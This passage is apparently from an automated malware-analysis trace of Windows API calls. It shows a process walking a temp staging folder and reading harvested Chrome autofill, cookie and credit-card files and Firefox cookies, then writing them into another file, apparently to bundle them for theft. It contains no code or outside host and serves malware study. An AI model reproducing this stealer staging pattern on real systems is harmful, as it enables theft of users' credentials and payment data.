lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Apps\\Steam\\*", lpFindFileData=0x12fecec | out: lpFindFileData=0x12fecec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da10a51, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1da10a51, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1da10a51, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x13fa830 [0211.896] FindNextFileW (in: hFindFile=0x13fa830, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da10a51, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1da10a51, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1da10a51, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.896] FindNextFileW (in: hFindFile=0x13fa830, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da10a51, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1da10a51, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1da10a51, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0211.896] FindClose (in: hFindFile=0x13fa830 | out: hFindFile=0x13fa830) returned 1 [0211.896] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Browsers\\*", lpFindFileData=0x12fecac | out: lpFindFileData=0x12fecac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27eed059, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x2cf8ceee, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x2cf8ceee, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x13fa530 [0211.896] FindNextFileW (in: hFindFile=0x13fa530, lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27eed059, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x2cf8ceee, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x2cf8ceee, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.896] FindNextFileW (in: hFindFile=0x13fa530, lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cf8ceee, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x2cf8ceee, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x2cf8ceee, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default_Google_Chrome_Autofill.log", cAlternateFileName="DEFAUL~2.LOG")) returned 1 [0211.896] FindNextFileW (in: hFindFile=0x13fa530, lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29f6a20e, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x29f6a20e, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x29f90380, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x162, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default_Google_Chrome_Cookies.txt", cAlternateFileName="DEFAUL~1.TXT")) returned 1 [0211.897] FindNextFileW (in: hFindFile=0x13fa530, lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cf40c17, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x2cf40c17, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x2cf40c17, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default_Google_Chrome_Credit_Cards.log", cAlternateFileName="DEFAUL~1.LOG")) returned 1 [0211.897] FindNextFileW (in: hFindFile=0x13fa530, lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28cc8928, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x28cc8928, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x28ceee31, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x3740, dwReserved0=0x0, dwReserved1=0x0, cFileName="w7cr0hor.default_Firefox_Cookies.txt", cAlternateFileName="W7CR0H~1.TXT")) returned 1 [0211.897] FindNextFileW (in: hFindFile=0x13fa530, lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28cc8928, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x28cc8928, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x28ceee31, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x3740, dwReserved0=0x0, dwReserved1=0x0, cFileName="w7cr0hor.default_Firefox_Cookies.txt", cAlternateFileName="W7CR0H~1.TXT")) returned 0 [0211.897] FindClose (in: hFindFile=0x13fa530 | out: hFindFile=0x13fa530) returned 1 [0211.897] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Browsers\\*", lpFindFileData=0x12fecec | out: lpFindFileData=0x12fecec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27eed059, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x2cf8ceee, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x2cf8ceee, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x13faaf0 [0211.897] FindNextFileW (in: hFindFile=0x13faaf0, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27eed059, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x2cf8ceee, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x2cf8ceee, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.898] FindNextFileW (in: hFindFile=0x13faaf0, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cf8ceee, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x2cf8ceee, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x2cf8ceee, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default_Google_Chrome_Autofill.log", cAlternateFileName="DEFAUL~2.LOG")) returned 1 [0211.898] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Browsers\\Default_Google_Chrome_Autofill.log", nBufferLength=0x105, lpBuffer=0x12fe930, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Browsers\\Default_Google_Chrome_Autofill.log", lpFilePart=0x0) returned 0x5a [0211.898] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fee74) returned 1 [0211.898] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Browsers\\Default_Google_Chrome_Autofill.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\browsers\\default_google_chrome_autofill.log"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x750 [0211.898] GetFileType (hFile=0x750) returned 0x1 [0211.898] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fee70) returned 1 [0211.898] GetFileType (hFile=0x750) returned 0x1 [0211.900] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Browsers\\Default_Google_Chrome_Autofill.log", nBufferLength=0x105, lpBuffer=0x12fe9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Browsers\\Default_Google_Chrome_Autofill.log", lpFilePart=0x0) returned 0x5a [0211.900] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feeb8) returned 1 [0211.900] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Browsers\\Default_Google_Chrome_Autofill.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\browsers\\default_google_chrome_autofill.log"), fInfoLevelId=0x0, lpFileInformation=0x12fef34 | out: lpFileInformation=0x12fef34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cf8ceee, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x2cf8ceee, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x2cf8ceee, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0211.900] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feeb4) returned 1 [0211.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1.2.3", cchWideChar=5, lpMultiByteStr=0x12fedc8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1.2.3H\x86q\x18Ô\x96àðùos¸ó/\x01¬¯:\x03", lpUsedDefaultChar=0x0) returned 5 [0211.902] ReadFile (in: hFile=0x750, lpBuffer=0x33ad17c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x12feedc, lpOverlapped=0x0 | out: lpBuffer=0x33ad17c*, lpNumberOfBytesRead=0x12feedc*=0x0, lpOverlapped=0x0) returned 1 [0211.903] WriteFile (in: hFile=0x740, lpBuffer=0x3335a18*, nNumberOfBytesToWrite=0x29, lpNumberOfBytesWritten=0x12fee00, lpOverlapped=0x0 | out: lpBuffer=0x3335a18*, lpNumberOfBytesWritten=0x12fee00*=0x29, lpOverlapped=0x0) returned 1 [0211.903] CloseHandle (hObject=0x750) returned 1 [0211.903] FindNextFileW (in: hFindFile=0x13faaf0, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29f6a20e, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x29f6a20e, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x29f90380, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x162, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default_Google_Chrome_Cookies.txt", cAlternateFileName="DEFAUL~1.TXT")) returned 1 [0211.904] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Browsers\\Default_Google_Chrome_Cookies.txt", nBufferLength=0x105, lpBuffer=0x12fe930, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Browsers\\Default_Google_Chrome_Cookies.txt", lpFilePart=0x0) returned 0x59 [0211.904] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fee74) returned 1 [0211.904] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Browsers\\Default_Google_Chrome_Cookies.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\browsers\\default_google_chrome_cookies.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x750 [0211.904] GetFileType (hFile=0x750) returned 0x1 [0211.904] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fee70) returned 1 [0211.904] GetFileType (hFile=0x750) returned 0x1 [0211.909] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Browsers\\Default_Google_Chrome_Cookies.txt", nBufferLength=0x105, lpBuffer=0x12fe9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Browsers\\Default_Google_Chrome_Cookies.txt", lpFilePart=0x0) returned 0x59 [0211.909] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feeb8) returned 1 [0211.909] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Browsers\\Default_Google_Chrome_Cookies.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\browsers\\default_google_chrome_cookies.txt"), fInfoLevelId=0x0, lpFileInformation=0x12fef34 | out: lpFileInformation=0x12fef34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29f6a20e, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x29f6a20e, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x29f90380, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x162)) returned 1 [0211.909] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feeb4) returned 1 [0211.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1.2.3", cchWideChar=5, lpMultiByteStr=0x12fedc8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1.2.3H\x86q\x18Ô\x96àðùos¸ó/\x01\x98G&\x03", lpUsedDefaultChar=0x0) returned 5 [0211.911] ReadFile (in: hFile=0x750, lpBuffer=0x3266968, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x12feedc, lpOverlapped=0x0 | out: lpBuffer=0x3266968*, lpNumberOfBytesRead=0x12feedc*=0x162, lpOverlapped=0x0) returned 1 [0211.911] WriteFile (in: hFile=0x740, lpBuffer=0x3262704*, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0x12fedec, lpOverlapped=0x0 | out: lpBuffer=0x3262704*, lpNumberOfBytesWritten=0x12fedec*=0x49, lpOverlapped=0x0) returned 1 [0211.911] ReadFile (in: hFile=0x750, lpBuffer=0x3266968, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x12feedc, lpOverlapped=0x0 | out: lpBuffer=0x3266968*, lpNumberOfBytesRead=0x12feedc*=0x0, lpOverlapped=0x0) returned 1 [0211.914] WriteFile (in: hFile=0x740, lpBuffer=0x3262704*, nNumberOfBytesToWrite=0x151, lpNumberOfBytesWritten=0x12fee84, lpOverlapped=0x0 | out: lpBuffer=0x3262704*, lpNumberOfBytesWritten=0x12fee84*=0x151, lpOverlapped=0x0) returned 1 [0211.914] SetFilePointer (in: hFile=0x740, lDistanceToMove=116437, lpDistanceToMoveHigh=0x12fee88*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x12fee88*=0) returned 0x1c6d5 [0211.914] WriteFile (in: hFile=0x740, lpBuffer=0x3262704*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x12fee84, lpOverlapped=0x0 | out: lpBuffer=0x3262704*, lpNumberOfBytesWritten=0x12fee84*=0xc, lpOverlapped=0x0) returned 1 [0211.914] SetFilePointer (in: hFile=0x740, lDistanceToMove=116760, lpDistanceToMoveHigh=0x12fee88*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x12fee88*=0) returned 0x1c818 [0211.914] CloseHandle (hObject=0x750) returned 1 [0211.914] FindNextFileW (in: hFindFile=0x13faaf0, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cf40c17, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x2cf40c17, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x2cf40c17, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default_Google_Chrome_Credit_Cards.log", cAlternateFileName="DEFAUL~1.LOG")) returned 1 [0211.915] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Browsers\\Default_Google_Chrome_Credit_Cards.log", nBufferLength=0x105, lpBuffer=0x12fe930, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Browsers\\Default_Google_Chrome_Credit_Cards.log", lpFilePart=0x0) returned 0x5e [0211.915] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fee74) returned 1 [0211.915] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Browsers\\Default_Google_Chrome_Credit_Cards.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\browsers\\default_google_chrome_credit_cards.log"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x750 [0211.915] GetFileType (hFile=0x750) returned 0x1 [0211.915] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fee70) returned 1 [0211.915] GetFileType (hFile=0x750) returned 0x1 [0211.915] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Browsers\\Default_Google_Chrome_Credit_Cards.log", nBufferLength=0x105, lpBuffer=0x12fe9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Browsers\\Default_Google_Chrome_Credit_Cards.log", lpFilePart=0x0) returned 0x5e [0211.915] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feeb8) returned 1 [0211.915] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Browsers\\Default_Google_Chrome_Credit_Cards.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\browsers\\default_google_chrome_credit_cards.log"), fInfoLevelId=0x0, lpFileInformation=0x12fef34 | out: lpFileInformation=0x12fef34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cf40c17, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x2cf40c17, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x2cf40c17, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0211.915] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feeb4) returned 1 [0211.916] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1.2.3", cchWideChar=5, lpMultiByteStr=0x12fedc8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1.2.3H\x86q\x18Ô\x96àðùos¸ó/\x01\x04³'\x03", lpUsedDefaultChar=0x0) returned 5 [0211.917] ReadFile (in: hFile=0x750, lpBuffer=0x327d4d4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x12feedc, lpOverlapped=0x0 | out: lpBuffer=0x327d4d4*, lpNumberOfBytesRead=0x12feedc*=0x0, lpOverlapped=0x0) returned 1 [0211.919] CloseHandle (hObject=0x750) returned 1 [0211.919] FindNextFileW (in: hFindFile=0x13faaf0, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28cc8928, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x28cc8928, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x28ceee31, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x3740, dwReserved0=0x0, dwReserved1=0x0, cFileName="w7cr0hor.default_Firefox_Cookies.txt", cAlternateFileName="W7CR0H~1.TXT")) returned 1 [0211.919] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Browsers\\w7cr0hor.default_Firefox_Cookies.txt", nBufferLength=0x105, lpBuffer=0x12fe930, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Browsers\\w7cr0hor.default_Firefox_Cookies.txt", lpFilePart=0x0) returned 0x5c [0211.920] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fee74) returned 1 [0211.920] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Browsers\\w7cr0hor.default_Firefox_Cookies.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\browsers\\w7cr0hor.default_firefox_cookies.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x750 [0211.920] GetFileType (hFile=0x750) returned 0x1 [0211.920] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fee70) returned 1 [0211.920] GetFileType (hFile=0x750) returned 0x1 [0211.920] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Browsers\\w7cr0hor.default_Firefox_Cookies.txt", nBufferLength=0x105, lpBuffer=0x12fe9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Browsers\\w7cr0hor.default_Firefox_Cookies.txt", lpFilePart=0x0) returned 0x5c [0211.920] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feeb8) returned 1 [0211.920] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Browsers\\w7cr0hor.default_Firefox_Cookies.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\browsers\\w7cr0hor.default_firefox_cookies.txt"), fInfoLevelId=0x0, lpFileInformation=0x12fef34 | out: lpFileInformation=0x12fef34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28cc8928, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x28cc8928, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x28ceee31, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x3740)) returned 1 [0211.920] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feeb4) returned 1 [0211.920] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1.2.3", cchWideChar=5, lpMultiByteStr=0x12fedc8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1.2.3H\x86q\x18Ô\x96àðùos¸ó/\x01¨\x1d)\x03", lpUsedDefaultChar=0x0) returned 5 [0211.922] ReadFile (in: hFile=0x750, lpBuffer=0x3293f78, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x12feedc, lpOverlapped=0x0 | out: lpBuffer=0x3293f78*, lpNumberOfBytesRead=0x12feedc*=0x3740, lpOverlapped=0x0) returned 1 [0211.922] WriteFile (in: hFile=0x740, lpBuffer=0x3262704*, nNumberOfBytesToWrite=0x4d, lpNumberOfBytesWritten=0x12fedec, lpOverlapped=0x0 | out: lpBuffer=0x3262704*, lpNumberOfBytesWritten=0x12fedec*=0x4d, lpOverlapped=0x0) returned 1 [0211.923] ReadFile (in: hFile=0x750, lpBuffer=0x3293f78, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x12feedc, lpOverlapped=0x0 | out: lpBuffer=0x3293f78*, lpNumberOfBytesRead=0x12feedc*=0x0, lpOverlapped=0x0) returned 1 [0211.925] WriteFile (in: hFile=0x740, lpBuffer=0x3262704*, nNumberOfBytesToWrite=0xc34, lpNumberOfBytesWritten=0x12fee84, lpOverlapped=0x0 | out: lpBuffer=0x3262704*, lpNumberOfBytesWritten=0x12fee84*=0xc34, lpOverlapped=0x0) returned 1 [0211.925] SetFilePointer (in: hFile=0x740, lDistanceToMove=116851, lpDistanceToMoveHigh=0x12fee88*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x12fee88*=0) returned 0x1c873 [0211.925] WriteFile (in: hFile=0x740, lpBuffer=0x3262704*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x12fee84, lpOverlapped=0x0 | out: lpBuffer=0x3262704*, lpNumberOfBytesWritten=0x12fee84*=0xc, lpOverlapped=0x0) returned 1 [0211.926] SetFilePointer (in: hFile=0x740, lDistanceToMove=119961, lpDistanceToMoveHigh=0x12fee88*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x12fee88*=0) returned 0x1d499 [0211.926] CloseHandle (hObject=0x750) returned 1 [0211.927] FindNextFileW (in: hFindFile=0x13faaf0, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0211.927] FindClose (in: hFindFile=0x13faaf0 | out: hFindFile=0x13faaf0) returned 1 [0211.927] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Files\\*", lpFindFileData=0x12fecac | out: lpFindFileData=0x12fecac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da82629, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1dd0b065, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1dd0b065, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x13fa770 [0211.928] FindNextFileW (in: hFindFile=0x13fa770, lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da82629, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1dd0b065, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1dd0b065, ftLastWriteTime.dwHighDateTime=0x1d69a99, 